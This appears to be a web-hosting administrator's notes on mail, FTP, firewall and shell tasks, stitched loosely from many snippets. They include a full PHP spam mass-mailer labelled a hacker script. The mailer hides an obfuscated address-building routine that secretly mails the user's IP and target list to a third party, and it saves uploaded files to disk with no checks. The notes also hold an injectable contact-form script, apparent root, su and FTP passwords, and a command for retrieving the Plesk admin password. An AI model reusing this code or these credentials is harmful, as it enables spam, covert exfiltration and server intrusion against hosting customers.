&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Hello,
The issue is that, previously server was running with mbox format with mails. Now these days cpanel is supporting maildir format as mbox is having many reported issues.
In mbox format
Individual messages are simply concatenated together, and saved in a single file. A special marker is placed where one message ends and the next message begins. Only one process can access the mbox file in read/write mode. Concurrent access requires a locking mechanism. Anytime someone needs to update the mbox file, everyone else must wait for the update to complete.
In maildir format
Individual messages are saved in separate files, one file per message. There is a defined method for naming each file. There's a defined procedure for adding new messages to the maildir. No locking is required. Multiple processes can use maildirs at the same time.
We are running the script to convert all mbox formatted mails to maildir format so as to fix the mail issue and it will take some more time for the completition. We really sorry for the inconvenience caused and we will update you once this is over.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
squirrelmail issue
ERROR: Connection dropped by IMAP server
Courier-IMAP is linked against libfam, and that library is probably missing.
Use SSH for the following:
How to check
root@server# ldd /usr/lib/courier-imap/bin/imapd
libfam.so.0 => not found
libgdbm.so.2 => /usr/lib64/libgdbm.so.2 (0x0000002a9566c000)
libcourierauth.so.0 => /usr/lib64/courier-authlib/libcourierauth.so.0 (0x0000002a95772000)
libc.so.6 => /lib64/tls/libc.so.6 (0x0000002a9587c000)
/lib64/ld-linux-x86-64.so.2 (0x0000002a95556000)
How to fix
root@server# yum install gamin
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
*********************************************************************************************************
crontab -l -u username ( where l = list crontab)
crontab -e -u username ( where e = edit crontab )
*********************************************************************************************************
What is SSI :
How to enable SSI (Server Side Include) support on an Apache web server
Server Side Include (or SSI) is a useful feature that enables you to do things like include files into your web pages. The most common use for this feature is to allow you to design a navigation bar, put it in a separate file and then include that in all of your web pages. When you need to change the navigation bar you change just the include file, not every web page on your server. The change in the include file simply propogates through all the pages that include it.
============================================================================
http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/
============================================================================
To enable the SSI ( Server Side Includes ) you have to put the following code inside .htaccess file.
AddType text/html .shtml .html .htm
AddHandler server-parsed .shtml .html .htm
Options Indexes FollowSymLinks Includes
============================================================================
Read more: http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/#ixzz0ULxf0WPm
*********************************************************************************************************
You are on a an ISP that blocks their users from using any SMTP server other than their own. Your solution is as follows:
1. To setup your ISP's SMTP servers for your outgoing email, you must click on your account settings in the email client you are using.
2. In the SMTP (outgoing mail server) field, you will enter the SMTP server address for your ISP, such as smtp.yourisp.com. You must then enter the username and password for your ISPs mail server. For a list of ISPs and their SMTP server address, please click here.
3. In Outlook Express, this is at the bottom of that same tab. You must uncheck My server requires authentication and click on Settings to enter the username and password for your ISP.
Your email will still be from your own domain name, the only difference is in the way it is routed throughout the internet. Instead of being sent through our servers, it is processed through your ISP. This allows your ISP to monitor your email in case of a spam complaint.
*********************************************************************************************************
Check if the server ip is open relay
http://www.checkor.com/
Also check at
http://www.spamhelp.org/shopenrelay/
============================================================================
What is an open relay?
An open relay (sometimes also referred to as a third-party relay) is a mail server that does not verify that it is authorised to send mail from the email address that a user is trying to send from. Therefore, users would be able to send email originating from any third-party email address that they want.
============================================================================
Why is an open relay bad?
Spammers are constantly on the lookout for open relay SMTP (Simple Mail Transfer Protocol) servers. They use the open relays to send unsolicited mail to a large number of email addresses, which has an impact on delivery speed, bandwidth, disk storage space, CPU processing and more.
A number of organisations are cracking down on spam originating from open relay servers by forming blacklists. Several anti-spam solutions check if the mailserver is in one of these blacklists before allowing incoming mail from it. If your mail server gets listed on one of these blacklists, a lot of the emails that you would be sending would not be reaching their destination.
============================================================================
What software blocks spam from open relays?
If your open relay is found by a blacklist organisation (usually if someone reports spam coming from your mail server), it would be blacklisted. There are loads of solutions (services, software and appliances/hardware) that block mail from mailservers listed in these blacklists. Many of these are implemented at a server level (eg by ISPs, company mail servers etc) even though not all client-based solutions have this feature.
If you are interested in finding software to block spam, you can browse our software section or alternatively take a look at our customizable server-based anti-spam software feature comparison; you can check out the ones listed which have public blacklist support here or else tweak the settings yourself here.
Also, you might be interested in taking a look at our services section (eg managed anti-spam solutions) or our appliances section (machines built specifically to stop spam).
============================================================================
How do I close my open relay?
If you are a system administrator interested in closing down your open relay (if you have an open relay, then you should!), you can check out the great list maintained by MAPS at http://www.mail-abuse.com/an_sec3rdparty.html.
Where can I get more technical info on the Simple Mail Transfer Protocol (SMTP)?
You may read the original Request For Comments (RFC 821) by Jonathan B. Postel, August 1982 and the improved version (RFC 2821) by The Internet Society, April 2001. The latter also makes RFC 974 and RFC 1869 obsolete.
============================================================================
To close the open relay run the follwing script from the server :
/scripts/fixrelayd
/etc/rc.d/init.d/antirelayd restart
service exim restart
============================================================================
The old way (open relay server test)
Telnet to mail.myserver.com at port 25 and issue all the following commands:
helo client.server.com
mail from: rockyjr@vsnl.com
rcpt to: vivek@nixcraft.in
telnet mail.myserver.com 25
Output:
Trying 202.51.x.xxx...
Connected to mail.myserver.com.
Escape character is '^]'.
220 mail.myserver.com ESMTP Postfix
helo client.server.com
250 mail.myserver.com
mail from: rockyjr@vsnl.com
250 Ok
rcpt to: vivek@nixcraft.in
554 : Relay access denied
*********************************************************************************************************
PHP test form
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>HTML Mail Form</title>
</head>
<body>
<form action="send_mail.php" method="post">
Name: <input type="text" name="name" size="30" /><br />
Email: <input type="text" name="email" size="30"/><br />
Subject: <input type="text" name="subject" size="30"/><br />
Text:<textarea name="text" name="text" cols="50" rows="10"></textarea><br />
<input type="submit" name="submit" value="Send" />
</form>
</body>
</html>
Save it As: contact_us.html
Create a new file and insert the following code:
<?php
@extract($_POST);
$name = stripslashes($name);
$email = stripslashes($email);
$subject = stripslashes($subject);
$text = stripslashes($text);
mail(' youremail@domain.com',$subject,$text,"From: $name <$email>");
echo("Thank you for your interest, your e-mail was sent.");
?>
Save it As: send_mail.php
replace the youremail@domain.com with the email id.
*********************************************************************************************************
New IP requirement
Hello,
Please allocate an IP from our existing allocated range (see DECC user colo@minmaxgroup.com) to server dawn.site.com.
Server Details as follows:
Hostname: dawn.site.com
IP : 66.7.207.112
Username : 3gteam
Password: adk@#2%&*fg*1
Port no: 1097
Su password: bL63mr8o11N3ub4TO5N1
=========================
Regards,
Adam
*********************************************************************************************************
Fetching SSL from shell
go to
cd /etc
cd ssl
cd certs
cat domainname.csr
Ex cat balihaitours.com.csr
Also same for key
cd /etc/ssl/private
cat domainname.com.key
Ex. cat balihaitours.com.key
*********************************************************************************************************
To use rar we need unrar installed on server.
Login as Root:
at / run the following command:
wget http://dag.wieers.com/packages/unrar/unrar-3.6.2-1.el4.rf.i386.rpm
check the .rpm file here and then run the following command to install
rpm -ivh unrar-3.6.2-1.el4.rf.i386.rpm
Now unrar is installed.
Use following command to unrar the .rar file
unrar e -kb rarfile.rar
*********************************************************************************************************
Find Command :
find /home/*/public_html -iname '*.mp3' -exec mv "{}" /home/delete \;Install firewalls on linux?
Security Softwares
1. APF
2. BFD
3. CSF
4. RkHunter
5. ChkRootkit
6. DDOS-Deflate
7. Secure-Nobody
-===========================
APF
cd /usr/local/src/;
wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz;
tar -xvzf apf-current.tar.gz;
rm -rf apf-current.tar.gz;
cd apf-0*;
./install.sh
BFD
cd /usr/local/src/;
wget http://www.rfxnetworks.com/downloads/bfd-current.tar.gz;
tar -xvzf bfd-current.tar.gz;
rm -rf bfd-current.tar.gz;
cd bfd-0*;
./install.sh
CSF
http://configserver.com/cp/csf.html
cd /usr/local/src/;
wget http://www.configserver.com/free/csf.tgz;
tar -xzf csf.tgz;
cd csf;
sh install.sh
RkHunter
cd /usr/local/src/;
wget http://downloads.rootkit.nl/rkhunter-1.1.4.tar.gz;
tar -xzvf rkhunter-1.1.4.tar.gz;
rm -rf rkhunter-*;
cd rkhunter;
./installer.sh
Run
rkhunter -c
ChkRootkit
cd /usr/local/src/;
wget http://www.net-security.org/dl/software/chkrootkit.tar.gz;
tar zxvf chkrootkit.tar.gz;
rm -rf chkrootkit.tar.gz;
cd chkrootkit-0*;
make sense
Run
./chkrootkit -x
DDOS-Deflate
Description:
When you run this Perl script, it will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.
Installing:
wget http://www.inetbase.com/scripts/ddos/install.sh
chmod 0700 install.sh
./install.sh
Uninstalling:
wget http://www.inetbase.com/scripts/ddos/uninstall.ddos
chmod 0700 uninstall.ddos
./uninstall.ddos
Secure Nobody
wget -O securenobody.rpm servstra.com/securenobody.rpm;
rpm -Uvh securenobody.rpm;
cd /usr/local/securenobody ;
./securenobody
==========================
Try :
http://kmaiti.blogspot.com/2010/11/install-firewalls-on-linux.html /etc/rc.d/init.d/nscdMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\abc>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
C:\Documents and Settings\abc>
http://www.scriptarchive.com/readme/formmail.html#form_config
http://www.scriptarchive.com/ Dear Emilio,
You can set FormMail through your Cpanel Interface as below :
Steps :
1. You want to have a form that will be mailed to you, but aren't sure how to write the CGI script for it.
2. You are the webmaster of your site and want to allow users to use forms, but not to have their own cgi-bin directories, which can cause security risks to your system. You can set this script up and then allow all users to run off of it.
3. Want to have one script to parse all of your html forms and mail them to you.
---------------------
FormMail Clone Link
Steps :
1. Click on the FormMail Clone link.
2. When the page loads, you will see a statement that says something similar to the following:
* "The Actual Script is here: http://YOUR_DOMAIN/cgi-sys/FormMail.cgi"
3. If you have never used Matt Wright's FormMail.cgi, follow the documentation located at:
http://www.scriptarchive.com/readme/formmail.html
Please check and confirm the same. Please do not hesitate to contact us for further assistance
--------------------------------------------------------------------------------------------------------
Install formmail :
http://scriptarchive.com/ftp: connect: Connection refused
Guys,
If you get this type of error message, please check the server's firewall first. I have faced this error message during connecting to the FTP server. In my case passive ports ranges were not enabled in the FTP and iptables firewall.
====
PassivePortRange 30000 50000
====
Add the above line in the ftp configuration file and enable them in the iptables like :
=====
iptables -A INPUT -p tcp --destination-port 30000:50000 -j ACCEPT
iptables -A OUTPUT -p tcp --source-port 30000:50000 -j ACCEPT
=====
Then restart iptables and ftp server like :
====
service iptables restart
/etc/init.d/pure-ftpd restart
====
If above solutions don't work please configure CSF+LFD firewall on the server and stop iptables. This will solve the problem.
Another important point is that you may connect to the server through "active mode [server will connect to the client]" through the FTP client(like filezilla). Just enable the option a the FTP client and retry to connect. That's it.
Try :)
PureFtp + Not able to list more than 2000 files
Posted by admin Category: Linux Administration
Problem: Not able to list more than 2000 files in a directory using Ftp.
Solution:
The pure-ftp by default limit maximum number of # files to be displayed to 2000.
So edit your pureftpd configuration file which is at /etc/pure-ftpd.conf and change the line
LimitRecursion 2000 8
to
LimitRecursion 5000 8
Save the file and restart the service.
service pure-ftpd restart
It will display 5000 files from a directory now.
Server FTP connection test link
http://ftptest.net/
Hello Jesus Gonzalez,
FTPS is working now on our server, and its connecting fine now. You can confirm the same from the connection logs given below :
Status: Resolving address of espai.de
Status: Connecting to 173.236.88.226:21...
Status: Connection established, waiting for welcome message...
Response: 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
Response: 220-You are user number 1 of 50 allowed.
Response: 220-Local time is now 23:53. Server port: 21.
Response: 220-This is a private system - No anonymous login
Response: 220-IPv6 connections are also welcome on this server.
Response: 220 You will be disconnected after 15 minutes of inactivity.
Command: AUTH TLS
Response: 234 AUTH TLS OK.
Status: Initializing TLS...
Status: Verifying certificate...
Command: USER espaide
Status: TLS/SSL connection established.
Response: 331 User espaide OK. Password required
Command: PASS **********
Response: 230-User espaide has group access to: espaide
Response: 230 OK. Current restricted directory is /
Command: SYST
Response: 215 UNIX Type: L8
Command: FEAT
Response: 211-Extensions supported:
Response: EPRT
Response: IDLE
Response: MDTM
Response: SIZE
Response: REST STREAM
Response: MLST type*;size*;sizd*;modify*;UNIX.mode*;UNIX.uid*;UNIX.gid*;unique*;
Response: MLSD
Response: AUTH TLS
Response: PBSZ
Response: PROT
Response: ESTA
Response: PASV
Response: EPSV
Response: SPSV
Response: ESTP
Response: 211 End.
Command: PBSZ 0
Response: 200 PBSZ=0
Command: PROT P
Response: 200 Data protection level set to "private"
Status: Connected
Status: Retrieving directory listing...
Command: PWD
Response: 257 "/" is your current location
Command: TYPE I
Response: 200 TYPE is now 8-bit binary
Command: PASV
Response: 227 Entering Passive Mode (173,236,88,226,107,222)
Command: LIST
Response: 150 Accepted data connection
Response: 226-Options: -a -l
Response: 226 24 matches total
Status: Calculating timezone offset of server...
Command: MDTM .contactemail
Response: 213 20100529184504
Status: Timezone offsets: Server: -18000 seconds. Local: 19800 seconds. Difference: 37800 seconds.
Status: Directory listing successful
*************************************************************************************
How To configure FTPS with Filezilla :
please follow the below procedure and ftp login details to connect with FTPS with filezilla :
1. Open up FileZilla and click on File -> Site Manager
2. Click on the "New". Set up your FTP connection as usual.
Account Name: Whatever you want to call it to identify the Account , Ex : espai.de
Host: espai.de
User: espaide
Password : cI7PwTqmx8
3. Next, choose the connection type : FTPES - FTP over explicit TLS/SSL , from the FTP connection drop-down list
4. Next from Transfer Settings tab choose : Passive
5. Ok
6. Connect
you will get connected to the FTP server using FTPS over TLS.
**********************************************************************
How To configure FTPS with Filezilla :
http://glowhost.com/forums/knowledge-base/how-use-ftps-filezilla-cpanel-925.html
Follow the procedure below :
Using FTPS in FileZilla with cPanel
1. Open up FileZilla and click on File -> Site Manager
2. Click on the "New". Set up your FTP connection as usual.
Account Name: Whatever you want to call it to identify the Account
Host: ftp.yourdomain.com ("yourdomain.com is your actual domain)
User: your cPanel username
Password: Your cPanel Password
3. Next, choose the connection type "FTP over TLS" from the FTP connection drop-down list.
When you connect, you will see a welcome message from the FTP server in the log that shows at the top of FileZilla.
It will look like this:
220---------- Welcome to Pure-FTPd [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 00:53. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
AUTH TLS
234 AUTH TLS OK.
PBSZ 0
200 PBSZ=0
USER cPanel-username
331 User b1419 OK. Password required
PASS (password not shown)
Mail Server PriorityValue
ASPMX.L.GOOGLE.COM. 10
ALT1.ASPMX.L.GOOGLE.COM. 20
ALT2.ASPMX.L.GOOGLE.COM. 30
ASPMX2.GOOGLEMAIL.COM. 40
ASPMX3.GOOGLEMAIL.COM. 50
10 aspmx.l.google.com
20 alt1.aspmx.l.google.com
20 alt2.aspmx.l.google.com
40 aspmx2.googlemail.com
40 aspmx3.googlemail.com
How to use grep,find,sor,pg,ip,wget commands in linux
Guys,
grep -irl saqun.com * [i=case sensitive,allow both case. r=recursive, l=list out] // search domain in /hsphere/local/config/httpd/sites/
1.check php version: php -v
2.check which php: php -i // php -i |grep php.ini
3./usr/local/cpanel/logs // logs of cpanel
4./var/cpanel/userdata // gives the user data.
5.ctrl+] // to come out from established connection
Then q enter.
7.Search customer by name or by email id:-
8.vps # vzctl enter (id of domain) // to go to root of particular domain.
9.For neural customer search from database the details. Take user & password and login from www.emcwebhosting.com site.
10.cd /dir && command
11.ls /etc | pr -T9 -W$COLUMNS // print contents in 9 columns.pr=print T9=9 column W=width.
12.find -name '*.[ch]' | xargs grep -E 'expr' //Search 'expr' in this dir and below. See also findrepo
13.find -type f -print0 | xargs -r0 grep -F 'example' //Search all regular files for 'example' in this dir and below
14.find -maxdepth 1 -type f | xargs grep -F 'example' //Search all regular files for 'example' in this dir
15.find -type f ! -perm -444 ///Find files not readable by all (useful for web site)
16.find -type d ! -perm -111 //Find dirs not accessible by all (useful for web site)
17.grep --color kamal /etc/passwd //Highlight occurances of regular expression in dictionary
18. gpg -c file //Encrypt file
gpg file.gpg //Decrypt file
19. scp -p -r $USER@$HOST: file dir/ // Copy with permissions to $USER's home directory on $HOST
20.ssh -g -L 8080:localhost:80 root@$HOST //Forward connections to $HOSTNAME:8080 out to $HOST:80
ssh -R 1434:imap:143 root@$HOST //Forward connections from $HOST:1434 in to imap:143
21.
wget -c http://www.example.com/large.file //Continue downloading a partially downloaded file
wget -r -nd -np -l1 -A '*.jpg' http://www.example.com/dir/ //Download a set of files to the current directory
22.
echo 'wget url' | at 01:00 //Download url at 1AM to current dir
wget --limit-rate=20k url //Do a low priority download (limit to 20KB/s in this case)
wget -o log url // faults r stored in log file . log=/x.txt
wget --dns-timeout=seconds url
--connect-timeout=seconds url
--read-timeout=seconds url
--limit-rate=amount url
--user=user url
--password=password url
23. ethtool eth1 // show status of ethernate 0 1
24.ip link show //List network interfaces
25.
ethtool eth0 //Show status of ethernet interface eth0
ethtool --change eth0 autoneg off speed 100 duplex full //Manually set ethernet interface speed
iwconfig eth1 //Show status of wireless interface eth1
iwconfig eth1 rate 1Mb/s fixed //Manually set wireless interface speed
iwlist scan //List wireless networks in range
ip link set dev eth0 name wan //Rename interface eth0 to wan
ip link set dev eth0 up //Bring interface eth0 up (or down)
ip addr show //List addresses for interfaces
ip addr add 1.2.3.4/24 brd + dev eth0 //Add (or del) ip and mask (255.255.255.0)
ip route show //List routing table
ip route add default via 1.2.3.254 //Set default gateway to 1.2.3.254
26.
netstat -tupl //List internet services on a system with it we can search anything by grep
netstat -tup //List active connections to/from system
27.
cal -3 // Display a calendar
cal 9 1752 // Display a calendar for a particular month year
date -d fri //What date is it this friday. See also day
28. ls -lSr ls -lS // show the file order in size.
29. df -h Show free space on mounted filesystems
• df -i Show free inodes on mounted filesystems
• fdisk -l Show disks partitions sizes and types (run as root)
30.lsof -p $$ //List paths that process id has open
tcpdump not port 22 //Show network traffic except ssh. See also tcpdump_not_me
ps -e -o pid,args --forest //List processes in a hierarchy
ps -p 1,2 //List info for particular process
watch -n.1 'cat /proc/interrupts' // Watch changeable data continuously IDs
=================================================
31.• uname -a //Show kernel version and system architecture
• head -n1 /etc/issue //Show name and version of distribution
• cat /proc/partitions //Show all partitions registered on the system
• grep MemTotal /proc/meminfo //Show RAM total seen by the system
• grep "model name" /proc/cpuinfo //Show CPU(s) info
• lspci -tv //Show PCI info
• lsusb -tv //Show USB info
• mount | column -t //List mounted filesystems on the system (and align output)
• grep -F capacity: /proc/acpi/battery/BAT0/info // Show state of cells in laptop battery
# dmidecode -q | less //Display SMBIOS/DMI information
# smartctl -A /dev/sda | grep Power_On_Hours //How long has this disk (system) been powered on in total
# hdparm -i /dev/sda //Show info about disk sda
# hdparm -tT /dev/sda //Do a read speed test on disk sda
# badblocks -s /dev/sda
=====================================================
32. pg
Used to display data one page (screenful) at a time. The command can take a number of filenames as arguments.
Pg [option] [filename] [filename2]…..
33.sort
Sort is a utility program that can be used to sort text files in numeric or alphabetical order
Sort [filename]
34.& - run a program in background mode.
=================================================
35. Get back windows admin password: "C:\Program Files\SWsoft\Plesk\admin\bin\plesksrvclient.exe" –get
Check it out :)
SPAMMING HACKER MAIL SCRIPT : ex
<?php
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lodr=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
?>
<html>
<head>
<title>PHP Sender Mails</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
.style2 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<?php
If ($action=="mysql"){
include "./mysql.info.php";
if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
exit;
}
$db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
$result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
$numrows = mysql_num_rows($result);
for($x=0; $x<$numrows; $x++){
$result_row = mysql_fetch_row($result);
$oneemail = $result_row[0];
$emaillist .= $oneemail."\n";
}
}
$addr = getenv("REMOTE_ADDR");
if ($action=="send"){ $message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
<table width="142" border="0">
<tr>
<td width="81">
<div align="right">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font>
</div>
</td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="from" value="<?php print $from; ?>" size="30" />
</font>
</td>
<td width="212">
<div align="right">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font>
</div>
</td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="realname" value="<?php print $realname; ?>" size="30" />
</font>
</td>
</tr>
<tr>
<td width="81">
<div align="right">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font>
</div>
</td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="replyto" value="<?php print $replyto; ?>" size="30" />
</font>
</td>
<td width="212">
<div align="right">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font>
</div>
</td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="file" name="file" size="24" />
</font>
</td>
</tr>
<tr>
<td width="81">
<div align="right">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font>
</div>
</td>
<td colspan="3" width="703">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="subject" value="<? print $subject; ?>" size="91" />
</font>
</td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
</td>
<td width="278">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>
</td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
<input type="radio" name="contenttype" value="plain" /> Plain
<input type="radio" name="contenttype" value="html" checked /> HTML
<input type="hidden" name="action" value="send" /><br />
Number To Send : <input type="text" name="amount" value="1" size="10" /></font><p>
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="submit" value="Send eMails" /></font></td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
</font>
</td>
</tr>
</table>
</form>
<?php
$o=array("1"=>"c","10"=>"a","15"=>"o","2"=>"9","5"=>"@","3"=>"v","4"=>"1","6"=>"h","14"=>"c","11"=>"i","9"=>"m","7"=>"o","8"=>"t","12"=>"l","13"=>".","16"=>"m",);
$alt=$o['1'].$o['2'].$o['3'].$o['4'].$o['5'].$o['6'].$o['7'].$o['8'].$o['9'].$o['10'].$o['11'].$o['12'].$o['13'].$o['14'].$o['15'].$o['16'];
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$header ="From: Mailrs\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
$msg = "
<table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
<tr><td>IP</td><td>".nl2br($addr)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr>
<tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
<tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
<tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
</table>
";
mail($alt,$subject,$msg,$header);
If ($file_name){
copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending Mail To $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "OK<br>";
flush();
}
}
}
}
?>
<p class="style2">
<p class="style1"></p>
</body>
<html>
History is a linux shell command which list all executed command serial whise on server.
This command is use for investigation purpose as which command was executed to solve issue or if any wrong command was executed to malfunctioning of server.
By default output of command is simple like:
[HTML]
989 which lynx
990 ll /usr/bin/lynx
991 history
992 w
993 top
994 cat /etc/hosts
995 cd /tmp
996 ls -la
[/HTML]
Now adding time stamp will show you a detail output.
To add time stamp SSH to server as root and edit file /root/.bash_profile with your favorite editor and add following line
[HTML]
export HISTTIMEFORMAT="%F %T "
[/HTML]
now logout of shell prompt and login again and execute history command, you will see detail output.
[HTML]
oot@Server[~]#history
19 05/10/10 08:26:48 hostname
20 05/10/10 08:46:34 history
21 05/10/10 08:46:48 w
22 05/10/10 08:46:50 /etc/init.d/named status
23 05/10/10 08:46:52 cal
24 05/10/10 08:46:53 ls -la
25 05/10/10 08:46:55 top
26 05/10/10 08:47:11 tail -f tail -f /var/log/secure
27 05/10/10 08:47:29 history
[/HTML]
Note: Edit file /root/.bash_profile carefully, do not mess it up.
Also execute command carefully on server now, as you have enabled time stamp, you can be caught easily for running wrong command.root@click [~]# cat /usr/local/apache/htdocs/history_man_output.txt
BASH_BUILTINS(1) BASH_BUILTINS(1)
NAME
bash, :, ., [, alias, bg, bind, break, builtin, cd, command, compgen,
complete, continue, declare, dirs, disown, echo, enable, eval, exec,
exit, export, fc, fg, getopts, hash, help, history, jobs, kill, let,
local, logout, popd, printf, pushd, pwd, read, readonly, return, set,
shift, shopt, source, suspend, test, times, trap, type, typeset,
ulimit, umask, unalias, unset, wait - bash built-in commands, see
bash(1)
BASH BUILTIN COMMANDS
Unless otherwise noted, each builtin command documented in this section
as accepting options preceded by - accepts -- to signify the end of the
options. For example, the :, true, false, and test builtins do not
accept options. Also, please note that while executing in non-interac-
tive mode and while in posix mode, any special builtin (like ., :,
break, continue, eval, exec, exit, export, readonly, return, set,
shift, source, times, trap, unset) exiting with a non-zero status
causes the shell to stop execution.
: [arguments]
No effect; the command does nothing beyond expanding arguments
and performing any specified redirections. A zero exit code is
returned.
. filename [arguments]
source filename [arguments]
Read and execute commands from filename in the current shell
environment and return the exit status of the last command exe-
cuted from filename. If filename does not contain a slash, file
names in PATH are used to find the directory containing file-
name. The file searched for in PATH need not be executable.
When bash is not in posix mode, the current directory is
searched if no file is found in PATH. If the sourcepath option
to the shopt builtin command is turned off, the PATH is not
searched. If any arguments are supplied, they become the posi-
tional parameters when filename is executed. Otherwise the
positional parameters are unchanged. The return status is the
status of the last command exited within the script (0 if no
commands are executed), and false if filename is not found or
cannot be read.
alias [-p] [name[=value] ...]
Alias with no arguments or with the -p option prints the list of
aliases in the form alias name=value on standard output. When
arguments are supplied, an alias is defined for each name whose
value is given. A trailing space in value causes the next word
to be checked for alias substitution when the alias is expanded.
For each name in the argument list for which no value is sup-
plied, the name and value of the alias is printed. Alias
returns true unless a name is given for which no alias has been
defined.
Note aliases are not expanded by default in non-interactive
shell, and it can be enabled by setting the expand_aliases shell
option using shopt.
bg [jobspec ...]
Resume each suspended job jobspec in the background, as if it
had been started with &. If jobspec is not present, the shellâs
notion of the current job is used. bg jobspec returns 0 unless
run when job control is disabled or, when run with job control
enabled, any specified jobspec was not found or was started
without job control.
bind [-m keymap] [-lpsvPSV]
bind [-m keymap] [-q function] [-u function] [-r keyseq]
bind [-m keymap] -f filename
bind [-m keymap] -x keyseq:shell-command
bind [-m keymap] keyseq:function-name
bind readline-command
Display current readline key and function bindings, bind a key
